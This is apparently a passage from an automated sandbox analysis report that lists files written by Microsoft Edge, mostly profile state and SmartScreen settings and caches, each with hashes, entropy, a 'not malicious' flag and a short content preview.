Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36998.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103080462472944
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynhPGWv/sxtwL7VLyMV/YoskFoz:z/0+zI7ynZv/4KXVeZoskG
MD5:	E9A249F565D27B21BABF7673A9153229
SHA1:	97AFC59D8190D70E2AF6442FC24CAFA87696D9B5
SHA-256:	8D2A2344939DB6C6160FD88E83330A1DE672AE8170C704DD7F15B15A9CEA5008
SHA-512:	3DD39D6594B2B8CB8231E26175E65199D1D5F1407D1199095F84DD22032CE2390CBC7A6A8D1C710D0E9172D66052D65B2A7984F25456C83E149977DC6A8722E8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39b85.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103080462472944
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynhPGWv/sxtwL7VLyMV/YoskFoz:z/0+zI7ynZv/4KXVeZoskG
MD5:	E9A249F565D27B21BABF7673A9153229
SHA1:	97AFC59D8190D70E2AF6442FC24CAFA87696D9B5
SHA-256:	8D2A2344939DB6C6160FD88E83330A1DE672AE8170C704DD7F15B15A9CEA5008
SHA-512:	3DD39D6594B2B8CB8231E26175E65199D1D5F1407D1199095F84DD22032CE2390CBC7A6A8D1C710D0E9172D66052D65B2A7984F25456C83E149977DC6A8722E8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c7c6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103080462472944
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynhPGWv/sxtwL7VLyMV/YoskFoz:z/0+zI7ynZv/4KXVeZoskG
MD5:	E9A249F565D27B21BABF7673A9153229
SHA1:	97AFC59D8190D70E2AF6442FC24CAFA87696D9B5
SHA-256:	8D2A2344939DB6C6160FD88E83330A1DE672AE8170C704DD7F15B15A9CEA5008
SHA-512:	3DD39D6594B2B8CB8231E26175E65199D1D5F1407D1199095F84DD22032CE2390CBC7A6A8D1C710D0E9172D66052D65B2A7984F25456C83E149977DC6A8722E8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.005780376130044
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclWFZNcyn:YWLSGTt1o9LuLgfGBPAzkVj/T8lW7Nfn
MD5:	77C712AE6381A9B08451C6D7A729FFDF
SHA1:	00DAA9EC161CC357C8E1138565726A11ADDD7FD5
SHA-256:	8D17ACF58762D21ABB568BE3D81C2C06AE4892CC05FB9D917C93F11AEE5C5C67
SHA-512:	8EF0AFD1F18B2E338170AA757741266139FD475AE57C3A739D92690BA5C4FAEB7D1A7EBBFFD2EAE45C86C577B856688BE4021F42DA011F08D716524CB7F9C911
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1733206071737059}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c74e13ca-1a4d-48a3-b490-c6a0ab3f24a4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57651
Entropy (8bit):	6.1038017922479995
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yn6vhFPGWv/sxtwhj7VLyMV/YoskFoz:z/0+zI7yn6vjv/4KBVeZoskG
MD5:	84CFE8D64719265BA7E927CEC5DB0523
SHA1:	86D85BCE3F6107DF22CE4FD7A4AF7BFBCCC5F83F
SHA-256:	CA0B9385BFBFFD61DF59D90F0386AEC627C2993428BFF1E05F106967E6B0494E
SHA-512:	C1C7FD4B4B16AFAFC2481BDD9CF2AFF0A9997A2E85853AC5D7A82A935496790507A4502C13DECCE50401336E2B469BC1B8062536B28CBD5A8AD3207FBE5706AE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\de68424b-7dfd-40ee-9c01-f6c33f975150.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103080462472944
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynhPGWv/sxtwL7VLyMV/YoskFoz:z/0+zI7ynZv/4KXVeZoskG
MD5:	E9A249F565D27B21BABF7673A9153229
SHA1:	97AFC59D8190D70E2AF6442FC24CAFA87696D9B5
SHA-256:	8D2A2344939DB6C6160FD88E83330A1DE672AE8170C704DD7F15B15A9CEA5008
SHA-512:	3DD39D6594B2B8CB8231E26175E65199D1D5F1407D1199095F84DD22032CE2390CBC7A6A8D1C710D0E9172D66052D65B2A7984F25456C83E149977DC6A8722E8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+Gg